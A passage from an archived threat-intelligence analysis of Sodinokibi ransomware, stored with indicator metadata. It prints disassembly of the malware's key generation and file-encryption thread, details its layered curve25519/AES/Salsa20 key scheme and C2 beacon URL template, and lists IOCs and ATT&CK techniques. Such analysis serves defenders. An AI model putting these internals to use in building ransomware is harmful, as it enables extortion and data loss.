PRNG algorithm with a hardcoded seed, and then encrypted with AES-256\n\nin CTR mode and saved to the registry. The AES key used in that process is a SHA3-256 sum of the shared secret\n\nderived from the private key of a secondary curve25519 generated key pair and the attacker’s public key stored in\n\nthe pk section of the configuration.\n\nIn fact, the malware stores two versions of the victim’s private key, one which is encrypted with a key derived by\n\nusing the public key delivered through the config’s pk value, and one which is encrypted using a key derived with\n\nthe use of a hardcoded public key stored in the binary’s .data section. Both of these values are later appended to\n\neach encrypted file, which suggests that the hardcoded public key might have been embedded by the malware\n\ndevelopers as a \"master key\" in order to give them the ability of decrypting files encrypted by affiliates:\n\n.text:00402416 generate_keys:                          ; CODE XREF: generate_keys_set_reg_values+1A8↑j\n\n.text:00402416                                         ; generate_keys_set_reg_values+1AE↑j ...\n\n.text:00402416                 lea     eax, [ebp+victim_main_privkey]\n\n.text:0040241C                 push    offset victim_main_pubkey\n\n.text:00402421                 push    eax\n\n.text:00402422                 call    generate_curve25519_keypair ; generate victim's main key pair\n\n.text:00402427                 push    20h\n\n.text:00402429                 pop     edi\n\n.text:0040242A                 lea     eax, [ebp+encprivkey_metadata_1_len]\n\n.text:0040242D                 mov     [ebp+victim_pubkey_len], edi\n\n.text:00402430                 push    eax             ; out_len\n\n.text:00402431                 push    edi             ; data_len\n\n.text:00402432                 lea     eax, [ebp+victim_main_privkey]\n\n.text:00402438                 mov     [ebp+attacker_pubkey_len], edi\n\n.text:0040243B                 push    eax             ; datain\n\n.text:0040243C                 push    offset affiliate_pubkey\n\n.text:00402441                 call    curve25519_aes_encrypt ;\n\n.text:00402441                                         ; generate victim's secondary key pair and derive\n\n.text:00402441                                         ; key for AES-256-CTR encryption using curve25519\n\n.text:00402441                                         ; with priv key from this pair \u0026 pub key from cfg\n\n.text:00402446                 mov     ebx, eax\n\n.text:00402448                 lea     eax, [ebp+encprivkey_metadata_2_len]\n\n.text:0040244B                 push    eax             ; out_len\n\n.text:0040244C                 push    edi             ; data_len\n\n.text:0040244D                 lea     eax, [ebp+victim_main_privkey]\n\n.text:00402453                 push    eax             ; datain\n\n.text:00402454                 push    offset master_pubkey\n\n.text:00402459                 call    curve25519_aes_encrypt ;\n\n.text:00402459                                         ; generate victim's tertiary key pair and derive\n\n.text:00402459                                         ; key for AES-256-CTR encryption using curve25519\n\n.text:00402459                                         ; with priv key from this pair \u0026 pub key from .data\n\n.text:0040245E                 mov     esi, eax\n\nPage 20 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n.text:00402460                 lea     eax, [ebp+victim_main_privkey]\n\n.text:00402466                 push    edi\n\n.text:00402467                 push    eax.text:00402468                 call    memset_zero     ; remove victim's main\n\nprivate key from memory\n\nFigure 19: Victim's key generation\n\nSodinokibi uses an AES-based PRNG algorithm to generate a random extension that will be added to the\n\nencrypted files. It also generates a unique victim ID by combining the hash of the value returned by CPUID\n\ninstruction with the volume serial number.\n\nIt then gathers system information (such as username, computer name, TCP/IP domain, OS version and language,\n\nCPU architecture, and disk free space) and encrypts it using the same algorithm as for the private key encryption\n\n(except in this case yet another hardcoded public key from the .data section is used for AES key derivation).\n\nThe following information is saved under either HKLM\\SOFTWARE\\recfg or HKCU\\SOFTWARE\\recfg key:\n\nValue\n\nName\n\n0_key\n\nsk_key\n\npk_key\n\nsub_key\n\nstat\n\nrnd_ext\n\nType Content\n\nMaster key metadata (includes victim’s main private key, encrypted using the\nREG_BIN\nAES key derived from the hardcoded key stored in the binary’s .data section)\n\nAffiliate key metadata (includes the victim’s main private key, encrypted using\nREG_BIN\nthe AES key derived from the hardcoded key from the config)\n\nREG_BIN Victim’s main public key\n\nREG_BIN Attacker's public key from config\n\nVictim’s machine information and encryption metadata (encrypted with AES),\nREG_BIN\nused as the victim’s key in README file, and for the POST requests\n\nREG_SZ Random extension for encrypted files (\".\" + 5-10 alphanumeric characters)\n\nFigure 20: Registry values set by Sodinokibi\n\nPage 21 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nFigure 21: Example registry setup\n\nTo speed up the encryption process, Sodinokibi makes use of IO completion ports – a Windows threading model\n\nfor processing multiple asynchronous I/O requests on a multiprocessor system:\n\n.text:00402C76\n\n.text:00402C76 ; =============== S U B R O U T I N E\n\n=======================================\n\n.text:00402C76\n\n.text:00402C76 ; Attributes: bp-based frame\n\n.text:00402C76\n\n.text:00402C76 read_encrypt_write_file_thread proc near\n\n.text:00402C76                                         ; DATA XREF: encrypt_all_files+C↑o\n\n.text:00402C76\n\n.text:00402C76 CompletionKey   = dword ptr -0Ch\n\n.text:00402C76 NumberOfBytesTransferred= dword ptr -8\n\n.text:00402C76 Overlapped_then_cryptostruct= dword ptr -4\n\n.text:00402C76 CompletionPort  = dword ptr  8\n\n.text:00402C76\n\n.text:00402C76                 push    ebp\n\n.text:00402C77                 mov     ebp, esp\n\n.text:00402C79                 sub     esp, 0Ch\n\n.text:00402C7C                 push    esi\n\n.text:00402C7D                 call    find_explorer_ImpersonateLoggedOnUser\n\n.text:00402C82                 mov     esi, [ebp+CompletionPort]\n\n.text:00402C85                 jmp     short GetQueuedCompletionStatus_loop\n\n.text:00402C87 ; ---------------------------------------------------------------------------\n\n.text:00402C87\n\n.text:00402C87 encrypt_files:                          ; CODE XREF: read_encrypt_write_file_thread+AE↓j\n\n.text:00402C87                 test    eax, eax\n\n.text:00402C89                 jz      short PostQueuedCompletionStatus\n\n.text:00402C8B                 push    0\n\n.text:00402C8D                 push    [ebp+NumberOfBytesTransferred]\n\n.text:00402C90                 push    [ebp+Overlapped_then_cryptostruct]\n\n.text:00402C93                 call    adjust_file_offsets\n\n.text:00402C98                 mov     ecx, [ebp+Overlapped_then_cryptostruct]\n\n.text:00402C9B                 add     esp, 0Ch\n\n.text:00402C9E                 mov     eax, [ecx+cryptostruct.io_completion_disposition]\n\n.text:00402CA4                 sub     eax, 0\n\n.text:00402CA7                 jz      short _0_read_file\n\n.text:00402CA9                 sub     eax, 1\n\n.text:00402CAC                 jz      short _1_encrypt_file\n\n.text:00402CAE                 sub     eax, 1\n\nPage 22 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n.text:00402CB1                 jz      short _2_write_key_to_file\n\n.text:00402CB3                 sub     eax, 1\n\n.text:00402CB6                 jnz     short GetQueuedCompletionStatus_loop\n\n.text:00402CB8\n\n.text:00402CB8 _3_move_file:                           ; cryptostruct\n\n.text:00402CB8                 push    ecx\n\n.text:00402CB9                 push    esi             ; CompletionPort\n\n.text:00402CBA                 call    do_move_file_add_extension\n\n.text:00402CBF                 jmp     short next\n\nFigure 22: File encryption thread used in IO completion routine\n\nThe algorithm used for file encryption is Salsa20, and a 32-byte Salsa key will be generated for each file using a\n\ncurve25519-based key derivation algorithm, with the input of the previously generated victim’s public key and a\n\nprivate key from a temporary pair of curve25519 keys generated per file:\n\nFigure 23: Salsa20 key generation using curve22519\n\nThe following information is appended at the end of each encrypted file:\n\n•  Affiliate key metadata, stored in sk_key in registry (88 bytes):\n\no   victim’s main private key, encrypted using AES key derived from the hardcoded key from the config's\n\n\"pk\" value and the victim’s secondary public key (36 bytes)\n\no   victim’s secondary public key (from a second pair of curve25519 keys, 32 bytes)\n\no   randomly generated AES IV (16 bytes)\n\no   CRC32 of victim’s public key (4 bytes)\n\n•  Master key metadata, stored in 0_key in registry (88 bytes):\n\no   victim’s main private key, encrypted using AES key derived from the hardcoded key from .data section\n\nand the victim’s tertiary public key\n\no   victim’s tertiary public key (from a third pair of curve25519 keys)\n\no   randomly generated AES IV\n\no   CRC32 of victim’s public key\n\n•  Per-file generated public key (32 bytes)\n\n•  Per-file generated random Salsa20 nonce (8 bytes)\n\n•  CRC32 sum of per-file public key (4 bytes)\n\n•  Value of fast setting from config (0 or 1) (4 bytes)\n\n•  0x0000 encrypted with per-file generated Salsa20 key (4 bytes)\n\nFigure 24: Information appended to the encrypted file\n\nAll of the generated private keys, AES/Salsa keys, and shared secrets are zeroed-out in memory immediately after\n\nuse to prevent the possibility of the victim retrieving any information that might help them recover their files.\n\nPage 23 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nThe attackers will be able to decrypt the victim’s main private key by applying the same curve25519 shared-key\n\nderivation algorithm to compute the AES key it was encrypted with. In order to do that, the attackers can either\n\nuse the victim’s secondary public key and their own private key that corresponds to the public key from config's\n\npk value, or use the victim’s tertiary public key and their own private key that corresponds to the public key from\n\nthe binary's .data section. Having the victim’s main private key and all the metadata appended to the end of each\n\nfile, they will now be able to derive the Salsa20 symmetric keys used to encrypt the files.\n\nCommand and Control (C2) Communication\n\nBy using an asymmetric key scheduling algorithm, Sodinokibi doesn’t depend on network communication in\n\norder to exchange encryption keys with the attackers. The malware can fully operate in offline mode without the\n\nrisk of the victim retrieving the information needed for file decryption.\n\nIt does however implement an optional functionality of reaching out to the C\u0026C – if the net parameter is set in the\n\nconfiguration, a POST request containing the victim’s system information and encryption metadata will be\n\nbroadcasted to a range of domains listed under the dmn value in the configuration. In most of the samples we saw,\n\nthat list includes a huge number of legitimate looking domains, most of which seem to be WordPress sites.\n\nFor each of these domains a pseudo-random URL will be created using the following format:\n\nhttps://\u003cdomain_from_cfg\u003e/\u003cstr_from_list1\u003e/\u003cstr_from_list2\u003e/\u003crand_str\u003e.\u003cext_from_list3\u003e\n\nFigure 25: Dynamic URL generation template\n\nList 1\n\nwp-content\n\nstatic\n\ncontent\n\ninclude\n\nuploads\n\nnews\n\nList 2 List 3\n\nimages jpg\n\npictures png\n\nimage gif\n\ntemp\n\ntmp\n\ngraphic\n\nPage 24 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\ndata assets\n\nadmin pics\n\ngames\n\nFigure 26: Extension list used in dynamic URL generation\n\nAn example of a generated URL is shown in Figure 27:\n\nhttps[://]peppergreenfarmcatering[.]com[.]au/content/pictures/iiusng.jpg\n\nFigure 27: Generated URL example\n\nThe POST request sent to each of these URLs contains the stat value from the registry which is made of the\n\nfollowing information in JSON format, encrypted with AES-256-CTR with the key generated using curve25519\n\nValue\n\nver\n\npid\n\nsub\n\npk\n\nuid\n\nsk\n\nshared-key derivation algorithm, and SHA3-256:\n\nContent\n\nMalware version (0x102 hardcoded)\n\nActor ID (\"pid\" from config)\n\nCampaign ID (\"sub\" from config)\n\nAttacker's public key (\"pk\" from config)\n\nVicitm UID (cpuid_hash + volume_serial_nr)\n\nContent of sk_key value from registry (includes victim’s private key, generated at runtime and\n\nencrypted using AES key derived with the use of public key from config)\n\nPage 25 of 29\n\nunm\n\nnet\n\ngrp\n\nlng\n\nbro\n\nos\n\nbit\n\ndsk\n\next\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nUsername\n\nComputer name\n\nTCP/IP domain\n\nOS language\n\nTrue if keyboard layout code ends with specified codes\n\nOS version (ProductName)\n\nCPU architecture\n\nDisk free space (base64 encoded)\n\nRandom file extension for encrypted files\n\nFigure 28: POST request custom fields\n\nThe malware will read the response from the C\u0026C, but it does not store it, or use it anywhere in the code,\n\nsuggesting that its networking functionality is limited to sending out a beacon with the victim’s information.\n\nWhile some of the domains from the configuration might have been waterholed, it’s possible that the majority of\n\nthem are included just as means of obfuscating the real C\u0026C address.\n\nConclusions\n\nOur analysis of Sodinokibi revealed several notable and surprising pieces of information. We observed attackers\n\nspreading the malware via MSSPs and Go2Assist, as well as using curve22519-based key exchange, perhaps a\n\nfirst for ransomware. We witnessed Sodinokibi transition between 32bit and 64bit operation using the Heaven’s\n\nGate technique, while the C2 server was obfuscated in an impressive list of over a thousand pre-loaded domains.\n\nOur investigation also uncovered details about Sodinokibi that invite further speculation. The exploit code is more\n\nelegant than the coding of the main ransomware. This may indicate that the exploit code was purchased elsewhere\n\nPage 26 of 29\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nrather than developed by the attackers. We also saw the blue screen of death (BSOD) during testing which may\n\nmean the exploit code is not entirely stable, and hence not routinely enabled in many configurations.\n\nFor those wishing to avoid Sodinokibi attacks, BlackBerry Cylance trains artificial intelligence-based security\n\nagents on millions of both safe and unsafe files. This allows us to identify and prevent Sodinokibi based on\n\ncountless file attributes and system behaviors instead of a specific file signature. BlackBerry Cylance, which\n\noffers a predictive advantage over zero-day threats, is effective against both new and legacy cyberattacks.\n\nIOCs\n\nIndicator\n\n861bc212241bcac9f8095c8de1b180b398057cbb2d37c9220086ffaf24ba9e08\n\nGlobal\\206D87E0-0E60-DF25-DD8F-8E4E7D1E3BF0\n\nGlobal\\48ce5235-506a-49ee-999a-bee908c6aa17\n\n[HKLM|HKCU]\\SOFTWARE\\recfg\n\n[HKLM|HKCU]\\SOFTWARE\\recfg\\0_key\n\n[HKLM|HKCU]\\SOFTWARE\\recfg\\pk_key\n\n[HKLM|HKCU]\\SOFTWARE\\recfg\\sk_key\n\nPage 27 of 29\n\nType Description\n\nSHA256 Sodinokibi\n\nRun-once mutex\nMutex\nname\n\nExploit mutex\nEvent\nname\n\nRegistry Config registry\n\nkey key\n\nRegistry Master key\n\nvaue metadata\n\nRegistry Victim’s main\n\nvalue public key\n\nRegistry Affiliate key\n\nvalue metadata\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\n[HKLM|HKCU]\\SOFTWARE\\recfg\\sub_key\n\n[HKLM|HKCU]\\SOFTWARE\\recfg\\stat\n\n[HKLM|HKCU]\\SOFTWARE\\recfg\\rnd_ext\n\nMITRE ATT\u0026CK\n\nTactic ID Name\n\nExploit Public-Facing\nT1190\nApplication\n\nInitial Access\nT1133 External Remote Services\n\nT1199 Trusted Relationship\n\nT1059 Command-Line Interface\n\nExecution\n\nT1106 Execution through API\n\nPrivilege Exploitation for Privilege\nT1068\nEscalation Escalation\n\nPage 28 of 29\n\nRegistry\n\nvalue\n\nRegistry\n\nvalue\n\nRegistry\n\nvalue\n\nObserved\n\nCVE-2019-2725 (Vulnerability the Oracle\n\nWebLogic Server)\n\nGo2Assist\n\nMSSP\n\nExecutes cmd.exe\n\nExecutes cmd.exe\n\nCVE-2018-8453\n\nAttacker's\n\npublic key from\n\nconfig\n\nMachine\n\ninformation\n\nRandom\n\nextension for\n\nencrypted files\n\nDefense\n\nEvasion\n\nImpact\n\nhtml\n\nT1089\n\nT1486\n\nT1490\n\nhttps://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html\n\nDisabling Security Tools\n\nData Encrypted for\n\nImpact\n\nInhibit System Recovery\n\nUses BCDEDIT.EXE to disable recovery\n\nEncrypts files using Salsa20\n\nUses BCDEDIT.EXE to disable recovery and\n\ndeletes volume shadow copies\n\nSource: https://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.\n\nPage 29 of 29",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html"
	],
	"report_names": [
		"threat-spotlight-sodinokibi-ransomware.html"
	],
	"threat_actors": [],
	"ts_created_at": 1796005163,
	"ts_updated_at": 1796005352,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6df72313c1d670e99fbae4335d142b7ff3f73623.pdf",
		"text": "https://archive.orkl.eu/6df72313c1d670e99fbae4335d142b7ff3f73623.txt",
		"img": "https://archive.orkl.eu/6df72313c1d670e99fbae4335d142b7ff3f73623.jpg"
	},
	"iocs": [
		{
			"type": "attack",
			"value": "T1059",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "attack",
			"value": "T1068",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "attack",
			"value": "T1089",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "attack",
			"value": "T1106",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "attack",
			"value": "T1133",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "attack",
			"value": "T1190",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "attack",
			"value": "T1199",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "attack",
			"value": "T1486",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "attack",
			"value": "T1490",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "cve",
			"value": "CVE-2018-8453",
			"count": 5,
			"flags": [],
			"some_flags": [
				"rejoined"
			]
		},
		{
			"type": "cve",
			"value": "CVE-2019-2725",
			"count": 2,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "domain",
			"value": "aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion",
			"count": 1,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "domain",
			"value": "decryptor.top",
			"count": 1,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "domain",
			"value": "pefile.pe",
			"count": 1,
			"flags": [
				"call_like",
				"upper_case"
			],
			"some_flags": [
				"call_like",
				"upper_case"
			]
		},
		{
			"type": "domain",
			"value": "peppergreenfarmcatering.com.au",
			"count": 1,
			"flags": [
				"defanged",
				"in_url_host"
			],
			"some_flags": [
				"defanged",
				"in_url_host"
			]
		},
		{
			"type": "domain",
			"value": "threatvector.cylance.com",
			"count": 30,
			"flags": [
				"in_url_host"
			],
			"some_flags": [
				"in_url_host"
			]
		},
		{
			"type": "domain",
			"value": "torproject.org",
			"count": 1,
			"flags": [
				"in_url_host"
			],
			"some_flags": [
				"in_url_host"
			]
		},
		{
			"type": "domain",
			"value": "web.archive.org",
			"count": 30,
			"flags": [
				"in_url_host"
			],
			"some_flags": [
				"in_url_host"
			]
		},
		{
			"type": "md5",
			"value": "e6566f78abf3075ebea6fd037803e176",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "861bc212241bcac9f8095c8de1b180b398057cbb2d37c9220086ffaf24ba9e08",
			"count": 2,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "url",
			"value": "https://peppergreenfarmcatering.com.au/content/pictures/iiusng.jpg",
			"count": 1,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "url",
			"value": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware",
			"count": 1,
			"flags": [
				"in_url_path"
			],
			"some_flags": [
				"in_url_path"
			]
		},
		{
			"type": "url",
			"value": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
			"count": 29,
			"flags": [
				"in_url_path"
			],
			"some_flags": [
				"in_url_path"
			]
		},
		{
			"type": "url",
			"value": "https://torproject.org/",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "url",
			"value": "https://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "url",
			"value": "https://web.archive.org/web/20200607175026if_/https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
			"count": 29,
			"flags": [],
			"some_flags": []
		}
	]
}